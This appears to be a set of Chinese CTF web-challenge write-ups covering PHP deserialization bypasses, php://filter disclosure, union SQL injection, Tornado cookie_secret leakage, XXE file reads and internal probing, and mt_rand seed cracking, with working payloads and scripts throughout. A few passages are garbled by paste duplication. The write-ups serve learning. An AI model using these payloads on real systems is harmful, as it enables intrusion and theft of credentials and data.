1、is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。

绕过方法:

①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过

②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

O:11:”FileHandler”:3:{S:5:”\00\00op”;i:2;S:11:”\00\00filename”;S:8:”flag.php”;S:10:”\00*\00content”;S:7:”oavinci”;}

2、__destruct()魔术方法中,op===”2”是强比较,而process()使用的是弱比较op==”2”,可以通过弱类型绕过。

绕过方法:op=2,这里的2是整数int类型,op=2时,op===”2”为false,op==”2”为true

题解操作:(这里使用绕过is_valid()函数的第一种方法,利用public属性序列化)

<?php
 
class FileHandler {
 
    public $op = 2;
    public  $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public  $content = "oavinci";
 
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;
 
?>

得到base64解码得到flag

[极客大挑战 2019]Secret File

看到这种题目,首先到处点一点,看看有什么奇怪的地方,然后打开源代码,找到了一个东西发现了一个网址./Archive_room.php按CTRL键点击即可进入,可以看到

img

然后我们进入到它所提示的界面,是这个样子的

img

我们点击secret

img

这显然不是的,回到上一个界面,查看源代码

img

发现一个不对劲的地方,代码提示的方法是action,而跳转的却是end

img

说明这个跳转的时间特别快,我们需要抓包,有一个抓包神器BrupSuite,使用它发现action有一个隐藏的回应

img

我们加上路径访问试一下,又提示我们找flag.php

img

跟着提示来,是这个页面,没有像之前一样是隐藏的按钮,查看源代码,发现还是没有

img

结合题目一下想到的文件隐藏

php://filter是php的一个协议,可以用来查找漏洞

使用方法

1
php://filter/convert.base64-encode/resource=目标文件

对于这个题目我们直接在访问secr3t.php的后面加上?file=php://filter/convert.base64-encode/resource=flag.php

img

这时候下面多出了一个base64加密,这是我们使用php://filter得到的,把它试着去解密一下

base64解密得到flag

[极客大挑战 2019]LoveSQL

发现登录框,可能是万能密码登录,我们试一下:
在登录框中输入:

用户名:1' or 1=1#
密码:123(随便输)

点击登录
跳转到了check.php页面。并得到了用户名和密码:

尝试密码md5解密失败,还是回到注入的思路上,查询字段数:
在url中输入:

/check.php?username=admin' order by 3%23&password=1     存在
/check.php?username=admin' order by 4%23&password=1     报错

注意:此时是在url中输入的,所以不能用#,而用其url编码%23。
在这里插入图片描述
可知共3个字段。用union查询测试注入点(回显点位):

/check.php?username=1' union select 1,2,3%23&password=1

得到回显点位为2和3,查询当前数据库名及版本:

/check.php?username=1' union select 1,database(),version()%23&password=1

可知当前数据库为geek
接下来:
爆表:

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

image-20230916182955828

爆出这两个表,我们试一下l0ve1ysq1这个表
爆字段:

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1xxxxxxxxxx /check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=11

image-20230916183020736

得到这三个子段,

爆数据:

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

得到flag

[护网杯 2018]easy_tornado

访问/flag提示会说flag在/fllllllllllag里

值得注意的是访问后网页url发生的变化,这里居然有两个参数

替换掉filename的值后页面url再次发生变化,网页只有一个msg传参的数据

image-20230919164456217

访问welcome.txt,只是回显了一个render,百度了一下,出来了几段模版注入的文章,就想到了之前学习flask模版注入里的,render_template渲染函数

最后访问一下hints.txt,md5(cookie_secret+md5(filename))

出现了一个MD5算法,filename我们知道,只不过这个cookie_secret,需要了解一下

那说明URLfilehash参数就是上面算法MD5加密后的字符串,那我们只要得到cookie_secret,就可以经过算法得到flag

普通的cookie并不安全,可以通过客户端修改

在Tornado框架中,cookie_secret是一个密钥,一般使用随机生成的字符串,被用于对生成的cookie进行加密。它的作用是确保cookie的安全性,防止被修改或伪造。

具体来说,当Tornado应用程序使用set_secure_cookie()函数设置cookie时,会使用cookie_secret对cookie进行加密。而在获取cookie时,Tornado则会使用同样的密钥进行解密,并验证cookie是否被篡改。如果cookie_secret不匹配,Tornado将不会对其进行解密,并抛出异常,以防止未经授权的访问。

handler.settings

handler.settings在Tornado框架中是一个字典,用于存储应用程序的各种配置选项。其中包括一些默认的配置选项,也可以自定义添加其他配置选项。

在Tornado框架中,cookie_secrethandler.settings字典中用于配置cookie密钥的一个选项。Cookie密钥是用于加密和验证cookie的字符串,它应该是一个随机且足够长的字符串,用于保证cookie的安全性和完整性。

解题步骤

我们可以利用handler.settings,去访问一些配置,就能得到cookie_sercret的键值对,这样我们就可以通过hints文件提供的算法,求得filehash的值

image-20230919165421767

[0CTF 2016]piapiapia

进入环境,发现了登录页面 以为是注入类题目(主要是sql注入),一番尝试后却没有发现注入点
尝试使用 dirsearch 扫描目录 看看能有什么发现
发现了 网页源代码 www.zip 以及一系列php文件
访问 register.php 注册用户
注册登陆后 进入就是 update.php 文件 ,进行用户信息收集
提交信息后没有发现什么信息
下载网站源代码,进行代码审计
index.php和register.php 没有什么值得注意的地方

我们重点关注剩下的php文件,

updata.php
重点就是

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');	
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {	
    $username = $_SESSION['username'];
    if(!preg_match('/^\d{11}$/', $_POST['phone']))
        die('Invalid phone');

    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
        die('Invalid email');
    
    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
        die('Invalid nickname');

    $file = $_FILES['photo'];
    if($file['size'] < 5 or $file['size'] > 1000000)
        die('Photo size error');

    move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    $profile['phone'] = $_POST['phone'];
    $profile['email'] = $_POST['email'];
    $profile['nickname'] = $_POST['nickname'];
    $profile['photo'] = 'upload/' . md5($file['name']);

    $user->update_profile($username, serialize($profile));
    echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

进行一个正则匹配,
phone 的位数必须是11位
email的格式必须为 数字+@+字母+ . +字母例如:123456.@pp.com
nickmane 并没有做什么明确的要求,但值得一提的是前面的两个正则匹配是 是不匹配执行 这个是匹配执行。
同时,对photo进行大小判断

class.php
重点php片段

public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);
    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

主要进行 php过滤 过滤掉一些正则匹配的关键函数 将这些危险函数替换成 hacker。

implode implode() 函数返回一个由数组元素组合成的字符串
preg_replace 进行正则替换的关键函数

profile.php

?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');	
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

这段php主要进行了反序列化,并且对 $profile[‘photo’] 进行一个读取。

config.php

<?php
    $config['hostname'] = '127.0.0.1';
    $config['username'] = 'root';
    $config['password'] = '';
    $config['database'] = '';
    $flag = '';
?>

我们发现了 flag 。

联想到前面profile.php 对 photo的读取,自然而然的就可以联想到 让photo 指代 config.php 进而读取到flag
也就是说,让config,php成为序列化的一部分。

我们在后面添上**”;}s:5:”photo”;s:10:”config.php”;}**,这样就可以得到flag

在后端中,反序列化是以";}结束的,因此如果我们把";}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前结束而后面的内容就会被丢弃

同时,针对nickname 我们要采用采用数组进行绕过

采用数组绕过还有一个问题,但这里还有一个问题,如果直接在它的值后传入**”;}s:5:”photo”;s:10:”config.php”;}**,序列化后,整一个字符串都会被当成为nickname的值,并不会顶掉photo。因为在序列化时,它会计算该字符串的长度,并写入到序列化字符串中加以表示。在反序列化后,它会按照该长度来取值,则达不到我们想要的效果。

这时候我们利用:
我们利用 反序列化漏洞——键值逃逸

这时候,我们需要利用class.php中的过滤方法,利用敏感函数会被替换,加入我们正常传入 where 就会被替换成 hacker
,导致实际字符多出一位。
**”;}s:5:”photo”;s:10:”config.php”;}**这串字符串有34位,所以我们需要输入34次where 顶出34个位置,达到恶意修改数据读取flag的效果。

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

将我们的payload拼接到Nickname名字后面

image-20231003150909272

放包,点击连接 查看 源代码 base64解码 即可获得 flag

1
2
3
4
5
6
7
8
9
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2I5ODk4N2ZjLTZhOGMtNGRlYS1hMTE4LWI2ZWE1YzY5YjIwZH0nOwo/Pgo=

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{b98987fc-6a8c-4dea-a118-b6ea5c69b20d}';
?>

[NCTF2019]True XML cookbook

直接读取根目录的flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "file:///flag">
]>
<user>
    <username>
    &xee;
    </username>
    <password>
    123123
    </password>
</user>

报错了

爆出了绝对路径

读一下doLogin.php的源码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "file:///var/www/html/doLogin.php">
]>
<user>
    <username>
    &xee;
    </username>
    <password>
    123123
    </password>
</user>

读取不了,换个协议

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user>
    <username>
    &xee;
    </username>
    <password>
    123123
    </password>
</user>

得到

1
PD9waHAKLyoqCiogYXV0b3I6IGMwbnkxCiogZGF0ZTogMjAxOC0yLTcKKi8KCiRVU0VSTkFNRSA9ICdhZG1pbic7IC8v6LSm5Y+3CiRQQVNTV09SRCA9ICcwMjRiODc5MzFhMDNmNzM4ZmZmNjY5M2NlMGE3OGM4OCc7IC8v5a+G56CBCiRyZXN1bHQgPSBudWxsOwoKbGlieG1sX2Rpc2FibGVfZW50aXR5X2xvYWRlcihmYWxzZSk7CiR4bWxmaWxlID0gZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0Jyk7Cgp0cnl7CgkkZG9tID0gbmV3IERPTURvY3VtZW50KCk7CgkkZG9tLT5sb2FkWE1MKCR4bWxmaWxlLCBMSUJYTUxfTk9FTlQgfCBMSUJYTUxfRFRETE9BRCk7CgkkY3JlZHMgPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKCgkkdXNlcm5hbWUgPSAkY3JlZHMtPnVzZXJuYW1lOwoJJHBhc3N3b3JkID0gJGNyZWRzLT5wYXNzd29yZDsKCglpZigkdXNlcm5hbWUgPT0gJFVTRVJOQU1FICYmICRwYXNzd29yZCA9PSAkUEFTU1dPUkQpewoJCSRyZXN1bHQgPSBzcHJpbnRmKCI8cmVzdWx0Pjxjb2RlPiVkPC9jb2RlPjxtc2c+JXM8L21zZz48L3Jlc3VsdD4iLDEsJHVzZXJuYW1lKTsKCX1lbHNlewoJCSRyZXN1bHQgPSBzcHJpbnRmKCI8cmVzdWx0Pjxjb2RlPiVkPC9jb2RlPjxtc2c+JXM8L21zZz48L3Jlc3VsdD4iLDAsJHVzZXJuYW1lKTsKCX0JCn1jYXRjaChFeGNlcHRpb24gJGUpewoJJHJlc3VsdCA9IHNwcmludGYoIjxyZXN1bHQ+PGNvZGU+JWQ8L2NvZGU+PG1zZz4lczwvbXNnPjwvcmVzdWx0PiIsMywkZS0+Z2V0TWVzc2FnZSgpKTsKfQoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOwplY2hvICRyZXN1bHQ7Cj8+

base64解码得到

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);

    $username = $creds->username;
    $password = $creds->password;

    if($username == $USERNAME && $password == $PASSWORD){
        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
    }else{
        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
    }	
}catch(Exception $e){
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

看到有个账号密码,登录上去

登录之后啥也没有

使用XXE探测内网存活主机,我们分别读取关键文件:/etc/hosts 和 /proc/net/arp:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "file:///etc/hosts">
]>
<user>
    <username>
    &xee;
    </username>
    <password>
    123123
    </password>
</user>


<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "file:///proc/net/arp">
]>
<user>
    <username>
    &xee;
    </username>
    <password>
    123123
    </password>
</user>

访问

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "http://10.128.253.12">
]>
<user>
    <username>
    &xee;
    </username>
    <password>
    123123
    </password>
</user>

发包然后发现回显有报错

扫一下c段

image-20231003175110415

image-20231003175136067

然后通过返回包的长度找到flag,but我没找到,看到有人说可能是返回包的问题

[GWCTF 2019]枯燥的抽奖

image-20231005164511801

填入20位字符串,如果符合要求即可得到flag,但是此时只知道一部分hTo22O7vco
先查看页面源代码,发现存在check.php,访问得到了代码

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php"); 

满足条件if($_POST[‘num’]===$str)即可获得flag
所以我们要看$str变量是如何生成的

$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}xxxxxxxxxx $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";$str='';$len1=20;for ( $i = 0; $i < $len1; $i++ ){    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       }123456

但是发现这个字符串是通过 mt_rand函数随机生成的20个字符组成的
知识点 php伪随机数漏洞
漏洞在于mt_srand()这个函数,php中,mt_rand()生成的是一个伪随机数,是通过算法生成出来的,所以我们可以根据这个来进行破解,从而得到mt_srand()里的种子

根据那篇文章,我们需要将给出前十个密码解析成php_mt_seed需要的参数(参考文章已给出exp)
exp如下(php)

<?php
$pass_now = "hTo22O7vco";
$allowable_characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';

$length = strlen($allowable_characters) - 1;

for ($j = 0; $j < strlen($pass_now); $j++) {
    for ($i = 0; $i < $length; $i++) {
        if ($pass_now[$j] == $allowable_characters[$i]) {
            echo "$i $i 0 $length ";
            break;
        }
    }
}
?>

看到好多web都是用python 写的
再放上python写的exp

python脚本如下

str1 ='chAhZz5cnT'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''

length = str(len(str2)-1)
for i in range(0,len(str1)):
    for j in range(0,len(str2)):
        if str1[i] ==  str2[j]:
            result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
            break
print(result)

得到随机数
2 2 0 61 7 7 0 61 36 36 0 61 7 7 0 61 61 61 0 61 25 25 0 61 31 31 0 61 2 2 0 61 13 13 0 61 55 55 0 61
以上面生成的随机数为例,假设我们知道了第一个生成的随机数,那我们怎么预测种子呢?
那就要用到php_mt_seed这个工具了。

得到的seed为977950798,根据seed去得到密文就行了,要用php7.1及以上版本的

<?php
mt_srand(977950798);

$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo $str;
?>

image-20231005164800080

image-20231005164808877